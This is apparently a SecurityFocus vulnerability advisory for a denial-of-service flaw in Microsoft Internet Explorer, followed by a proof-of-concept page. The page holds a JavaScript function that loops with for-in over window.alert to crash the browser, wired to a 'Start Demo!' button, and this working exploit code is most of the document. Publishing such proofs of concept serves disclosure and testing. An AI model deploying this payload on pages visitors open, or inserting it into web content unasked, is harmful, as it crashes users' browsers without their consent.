source: https://www.securityfocus.com/bid/19140/info
Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website.
Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.
function Demo() {
// Iterate through any native function reference to crash
for (var i in window.alert) { var a = 1; }
}
</script>
Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
